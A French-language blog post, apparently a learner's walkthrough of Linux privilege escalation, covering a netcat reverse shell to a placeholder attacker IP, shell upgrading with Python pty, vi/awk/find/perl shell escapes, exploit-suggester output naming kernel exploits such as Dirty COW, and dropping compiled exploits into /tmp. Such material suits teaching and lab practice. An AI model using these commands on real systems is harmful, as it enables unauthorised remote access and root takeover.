Linux privileges escalation

Update time : 2021-07-08 18:10

But de ce walktrough

Prenant enfin de le temps de monter en compétence sur la compromission de machine Linux, je me permet modestement de décrire ici les étapes que je suis pour y arriver. L'idée dans un premier temps d'avoir une marche à suivre qui peut aider à compromettre une machine Linux (le tout dans un but pédagogique), et pour moi de garder une trace de cet apprentissage.

Dans le premier temps ça risque de ne pas être de la grande volée c'est les débuts donc merci de votre indulgence et les commentaires constructifs sont appréciés !

Reverse shell

Le basic de toute compromission de machine, mais il est loin de tout faire ! L'idée réussir à avoir un shell dégradé sur notre victime pour cela on doit le faire jouer une commande du type :

nc -e /bin/sh VOTRE_IP -p PORT_DECOUTE
#Exemple :
nc -e /bin/sh 127.0.0.1 -p 2555

-e : On va en fait essayer de choisir un bash disponible pour l'utilisateur qui joue la commande et ainsi pouvoir jouer des commandes ensuite.

Sur la machine de l'attaquant il faut lancer la commande suivante :

nc -l -vp 2555

Et ainsi on va pouvoir se connecter à la machine victime.

Upgrade shell

Avoir un reverse shell, c'est cool. Mais on va vite avoir besoin de passer sur un vrai shell à un moment. Ce n'est pas vraiment indispensable dans certain cas ou l'on pourrait lire des fichier intéressant avec des mots de passe etc. Mais si jamais on en a besoin on peut essayer avec la commande suivante et donc passer par Python pour nous donner un vrai shell :

python -c 'import pty; pty.spawn("/bin/bash")'

Ceci permettra d'avoir un vrai "shell", et notamment de jouer des commandes intéressante tel que "su"

D'autre méthode, que je n'ai pas encore testé dispo ici : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Élévation de privilège avec Python

(pas encore réussi à trouver une machine vulnérable avec ceci)

Visiblement si une certaine version de python est présente sur la machine et qu'elle vous réponds à cette commande :

python -c 'import sys; print "\n".join(sys.path)'

Quelque chose du style :

Directory of the script being executed
/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk
/usr/lib/python2.7/lib-old
/usr/lib/python2.7/lib-dynload
/usr/local/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages

On a de forte chance de pouvoir faire un tas de truc sympa à condition de trouver un script python appelé régulièrement par un utilisateur avec un peu de privilège. Plus de détail ici : https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

Recherche d'exploit vulnérabilité

Une fois déjà cette belle étape de franchit même avec un user low level on peut déjà faire des truc marrant. On oublie pas que /tmp est une poubelle qui nous permet de télécharger, écrire ce que vous voulez. Et donc pourquoi pas des fichiers du genre :

https://github.com/sleventyeleven/linuxprivchecker

Donc soit on peut le télécharger via un wget ou un curl et c'est top sinon un bon vieux echo  fera le boulot. Le soft (il y en a d'autres que je compléterais) va nous permettre de lancer toutes une batterie de test pour trouver des exploits potentiels et des points d'intérêt sur la machine.

Exemple rapide :

Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
- Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
- CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
- CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
- MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
- open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
- open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c

[+] Related Shell Escape Sequences...

vi--> :!bash
vi--> :set shell=/bin/bash:shell
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...

Ensuite libre à nous de récupérer des codes d'exploit et de tester.

Autre exemple de code bien fichu qui donne notamment une estimation de la probabilité que les exploits vont fonctionner :

https://github.com/mzet-/linux-exploit-suggester

Exemple de sortie :

[+] [CVE-2016-5195] dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: [ debian=7|8 ],RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2017-6074] dccp

Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: less probable
Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

Impossible de compiler sur la cible ?

Si jamais il n'est pas possible d'utiliser gcc pour réaliser les compilations sur votre cible aucun souci ! Il vous suffit de le compiler chez vous avec un système proche et ça va tourner comme un charme 🙂

Il vous suffira ensuite de télécharger le binaire généré directement dans /tmp et de lui mettre des droits d’exécution. Par exemple des exploits de dirtycow ou autre chose du genre.

Crédit image :Téléphone vecteur créé par macrovector - fr.freepik.com

Leave a Reply

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *